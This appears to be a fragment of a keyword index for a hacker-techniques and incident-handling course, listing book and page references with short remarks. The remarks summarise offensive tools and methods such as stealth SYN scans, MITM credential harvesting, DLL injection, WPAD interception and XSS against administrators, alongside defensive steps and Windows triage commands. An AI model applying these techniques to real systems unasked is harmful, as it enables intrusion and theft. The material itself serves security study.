--This stego is where the LSBs which determine color are modified
Stego: Detection 5 149 --This leads to a very slight (think imperceptible) change of color made to the original image
Supports a number of different "detectors" or mathematical analysis techniques to detect stego
For quick analysis, it can also use "cheap" or quick analysis methods to detect the presense of stego
Has the ability to run on a large number of files very quickly
Keywords Book Page Remarks
StegoExpose: Java utility to detect stego in lossless images where Least Significant Bit (LSB) techniques
StegoExpose 5 149 Supports variety of mathematical analysis techniques for detection
--can also use "cheap" methods to detect the presence of stego quickly
Subroutines 3 101 SEE SLIDE - Buffer Overflows
Outstanding MITM tool, similar to Dniff suite, in an easy web interface
Subterfuge 3 64 --advanced credential harvester that supports SSL Strip
--module for hijacking sessions and HTTP manipulation, like Ettercap
--module that supports blocking VPN tunnels
SYN scans 2 94 Only send the initial SYN and await the SYN-ACK response to determine if a port is open. The final ACK packet from te
attacker is never sent. The result is an increase in performance and a much stealthier scan. Because most host systems do
not long a connection unless it completes the three-way handshake, the scan is less likely to be detected.
SYS_execve 5 59 used by the kernel/OS to execute programs
SYSKEY 4 31 Extra layer of encryption for the SAM Database
System Center Config SCCM is a one-stop shop for a wealth of IR data.
Manager (SCCM) 1 138 --reports on installed software, drivers, users, services
(Enterprise-Wide IR)
System-Level Detection 1 57
View Diagram
Tamper Data 4 137 Free Firefox plug-in for manipulating numerous aspects of HTTP Requests
Taranis 3 48 Taranis can bombard a switch with a flood, just like Macof. Taranis sends Ethernet frames with victim's MAC address to
trick the switch into thinking the victim's MAC address is on two ports
TCP and UDP ports 2 90 Port scanners send packets to various ports to determine whats listening
TCP Header 2 92 view slide
TCP Ports 2 90 65,536 ports. TCP port 80 (web server), TCP port 445 (Windows Server Message Block), TCP 6000 indicates a X Window
Server
TCP sequence prediction 2 94
Useful in spoofing attacks, as we shall see in short while
Initial SYN establishes sequence number for A to B. Usually, B must remember this, allocating state in its connection
queue. Response SYN-ACK establishes sequence number for B to A
Unusual Processes
1 67
(Windows Cheat Sheet)
tasklist, wmic process list full, wmic process get name
At the command line can also be used to query the values of these settings
Unusual Reg Key Entries C:\> reg query hklm\software\microsoft\windows\currentversion\run
1 69
(Windows Cheat Sheet)
Unusual Scheduled
Tasks (Windows Cheat 1 73
Sheet) Look at scheduled tasks on the local host by running C:\> schtasks
Unusual Services
1 68
(Windows Cheat Sheet)
Several commands can be used to check for unusual services, such as services.msc, net start, tasklist /svc, sc query | more
Nikto. converts Http request into different representation, by changing ASCII characters into their hexadecimal values and
URL Encoding 2 prepending them with a % character.
'- Get /%63%67%69%2d……./broken.cgi HTTP/1.0
URLsnarf 2 68 Captures all URLs from HTTP traffic
Pluggable Authentication Modules (PAM)
Use PAM to Enforce Can link UNIX login to various systems:
4 41
Password Complexity -RADIUS, Kerberos, and more
Can enforce password complexity
Keywords Book Page Remarks
Version scanning 2 94 Tries to determine the version number of the program listening on program listening on a discovered port for both TCP and
UDP
VNC is free, popular, and quite feature rich.It uses TCP port 5900 to send a GUI across the network
VNCs default security is problematic. It does include a password, but has been sucbject to monkey-in-the-middle and buffer
overflow attacks in the past.
Virtual Network Flexible cross-platform remote access suite
Computing (VNC) 5 10 --Can be used for legit remote admin
Overview ----If you use VNC for admin, we recommend you carry that access across a secure, encrypted session, such as SSH or
Encrypted VPN
GUI across the network
--Included in the Metasploit payload arsenal
Most anti-virus tools do not detect it, because of its legit uses
Virus 4 56 A defining characteristic of a virus is that it infects a host file, such as a document, e-mail, or executable.
Malware detects VM and may run differently if present
VM Detection 4 77 --Helps confuse malware reverse engineering
--It's also useful for attackers to find honeypots
--may lead to virtual machine escape
Preparation:
--Close all unused ports, Shut off all unneeded services
---- In windows, stop or delete services in Services control panel
Vulnerability Scanners - ---- In UNIX, edit /etc/inetd.conf or /etc/xinetd.d files, as well as rc.d files (chkconfing)
2 121
Defense --Apply all system patches, Run credential scans of your environment
Identification:
--Utilize intrusion detection system signatures (IDS)
--Most vulnerability scanners trip hundreds of signatures
Cont, Erad, Rec: N/A
Keywords Book Page Remarks
Dial a sequence of telephone numbers, attempting to locate modem carriers or a secondary dial tone
War Dialers 2 53 Demon dialers: dial a single number to conduct a brute-force attack against passwords
Often an unprotected modem provides the easy method for accessing routing and switching components
War Dialing: Defenses 2 57 Defense: conduct self-scanning/remediation (pg 57-58)
War Driving 2 60 Scanning for open/misconfigured WAPs that can be exploited
-InSSIDer, NetStumbler,
Have a legal team review this banner, approving it in writing--Be careful of local privacy laws, especially in Europe.--
European Data Privacy Directives may impact that crucial line
Preparation:
--Carefully test every variable
--a single open variable can be manipulated and compromise the system
Implement a WAF
--SecureSphere Web App Firewall
--Citrix NetScaler App Firewall
--F5 Application Security Manager(ASM)
Web App - Proxy: --Free OWASP Stinger
4 143, 144 --Free ModSecurity offers similar protections; although it is not a proxy
Defense
Identification:
--Users complaining of account usurpation,
Containment:
--Strongly advise shutting down app while it gets fixed. Otherwise, quarantine accounts that have fallen victim,
Eradication:
--Remove attacker's data from victim accounts,
Recovery:
--Carefully restore accounts and reset passwords for victim users. Monitor these accounts carefully
Web App Manipulation The proxy enables the attacker to edit the raw HTTP or HTTPS, including nonpersistant cookies
4 138
Proxy Architecture -You can view and edit anything that's passed to the browser such as Account Numbers, Balances,shopping cart price
ZAP Proxy, Burp Proxy, w3af, and Fiddler
Web App Proxy 4 138 The proxy enables the attacker to edit the raw HTTP or HTTPS, including nonpersistant cookies
ZAP Proxy, Burp Proxy, w3af, and Fiddler
Web Application Attack
and Audit Framework 4 139
(W3AF) includes numerous features, implemented in Python, including a Man-in-the-Middle proxy for manipulating web applications.
Web Application ID: Users complaining of account usurpation, Containment: Strongly advise shutting down app while it gets fixed.
4 144 Otherwise, quarantine accounts that have fallen victim, Eradication: Remove attacker's data from victim accounts,
Defenses
Recovery: Carefully restore accounts and reset passwords for victim users. Monitor these accounts carefully
-automated program that scans sites looking for known, vulnerable material
Web Scanners 2 looks for specific scripts' names that are known to have problems.
-Are very basic
-sometimes called Web/cgi scanners.
WebGoat 4 82 WebGoat: A buggy web app, ready for you to test
webmitm 3 57 Sniff SSL - DNSSpoof
Keywords Book Page Remarks
Preparation:
--Limit and control information
--Know what information a company is giving away and perform risk analysis
--Make employment ads more general, if HR lets you
Website Searches: --Limit information on a website
2 33
Defenses --Determine what other sites are linked to your company
Identification:
--Look for web spider/crawler activity
----Logs show systematic access of entire website, page by page
--Somone just sucked down the entire contents of our site
Cont, Erad, Recov: N/A
WebSpy 3 53 Sends sniffed URLs from Dsniff to the attackers browser. The attackers browser then shows the pages that the target is
surfing in real time
WEPCrack 2 64 Crack WEP keys
Preparation:
--Just live with it
--Use organization name or title with real email and phone number
Whois: Defenses 2 22 --Keep records up to data
--Be wary of anonymous registration agents
Identification:
--You cant tell if someone has looked you up
Cont, Erad, Recov: N/A
After getting registration information and attacker may also want to see if any IP address blocks are assigned to the target.
Many organizations dont have their own IP address allocation; they get them from their ISPs
Whois: Sample 2 21 see screenshot
TCPView: map listening TCP/UDP ports
Windows - Additional Process Explorer and Process Monitor: process-analysis tools
1 76
Supporting Tools Hardening Guides: Center for Internet Security templates and scoring tools
Keywords Book Page Remarks
Windows Cheat Sheet 1 63
Winsacheatsheet_2.0.pdf is the latest version. It applies to Windows XP pro up to Windows10. Older machines use v1.4
Windows Delimiter 2 attacks windows boxes. Instead of using forward slash / like the REF requires an attacker could use a backslash\
EXEs and DLLs are commonly used methods for packaging code in Windows
Windows User-Mode --EXEs run, and utilize shared DLLs to get stuff done
Rootkit: DLL Injection 5 51 On Windows, anyone with the Debug right can inject a DLL into a running process and start it running by creating a thread
and API Hooking in the target process
Hook APIs to change programs' views of running processes, open ports, and the file system
winrtgen.exe 4 27 A tool used for Cain that allows the attacker to generate the Rainbow tables
For Cain, the attacker can generate the Rainbow tables
Preparation:
--MAC address filtering at the access point isnt secure
Set SSID so that it doesn’t attract attention
Use WPA2 with a strong password
--Recommended 21 characters long
Protect client wireless configs
72, 73, 74, Use layer 3 encryption to bolster of even supplat Layer 2 encryption
Wireless Defense 2
75 --Use VPN
--All data from end system to VPN gateway inside wireless device encrypted and authenticated
Be careful with wireless VPN config
Identification:
--Wireless IDS Tools are starting to get some traction
--Aruba Networks, Motoral AirDefense, AirMagnet, and others offer products
Cont, Erad, Recov:
--Remove renegade access points
Many wireless access points (base stations) are configured with no security
Wireless --Blank or default SSIDs are common
Misconfigurations: War 2 60 By default, most access points broadcast beacon packets with their SSID 10 times per second
Driving Even those APs configured not to include the SSID in beacons (SSID cloaking), SSIDs are still sent in clear text whenever
anyone used the wireless LAN
Preparation:
--Buffer overflow defenses help a lot here:
----Patches, non-executable system stacks, and host based IPS
--A process for rapidly testing and deploying patches when available
--Use application whitelisting or Software Restriction Policies/Applocker
Worm and Bots: --Encrypt data on hard drive
4 75 Identification:
Defenses
--Antivirus solutions updated regularly
Containment:
--Incident response capabilities, linked with network management
--May need to cut off segments of your network in real time
Eradication/Recovery:
--Use AV tool to remove infestation, if possible, or rebuild
Worms: Multi-Exploit 4 58 Worms becoming more complex, use several exploits at once
If you've patched against N-1 vulnerabilities, the worm will still get in through the hole N
Method described on pg 64
Where a system automatically attempts to find a system with a name of WPAD and download a PAC file with Proxy
settings.
WPAD: Attacking 3 74 --MitMf and Responder
Intercept traffic for specific domains (think PAC Backdoors) and harvest full HTTPS URL information for things like Session
IDs
Pacdoor us a tool that attacks WPAD
Keywords Book Page Remarks
XSS: Access to Internal Using an XSS variant, the attacker could start scanning or otherwise attacking the internal network
4 112 -Users browers can reflect the code back into the network using the user's access to scan, exploit, etc.
Systems
Jikto: performs a Nikto scan of internal websites using XSS
Web logs that store user input can be used to attack admin systems.
XSS: Admin Apps 4 114 --the script is input and stored in the log
-when the admin reviews the logs, the script is run on his host
XSS: Attacking Admins 4 115 view Diagram. The application gathers input from a user and stores it the log for administrator to view. Admin
periodically views the stored content and the attacker inserts evil content and attack admins.
Keywords Book Page Remarks
Preparation:
--Disable scripting or use browser features to selectively control scripts.
Identification:
--IDS and/or logs showing user input w/ embedded scripts. Watch for encoded info(hex,unicode,etc)
XSS: Client Defenses 4 118, 119 Containment:
--Add a filter to incoming data,
Eradication:
--Remove attacker's data and transaction,
Recovery:
--Contact antifraud group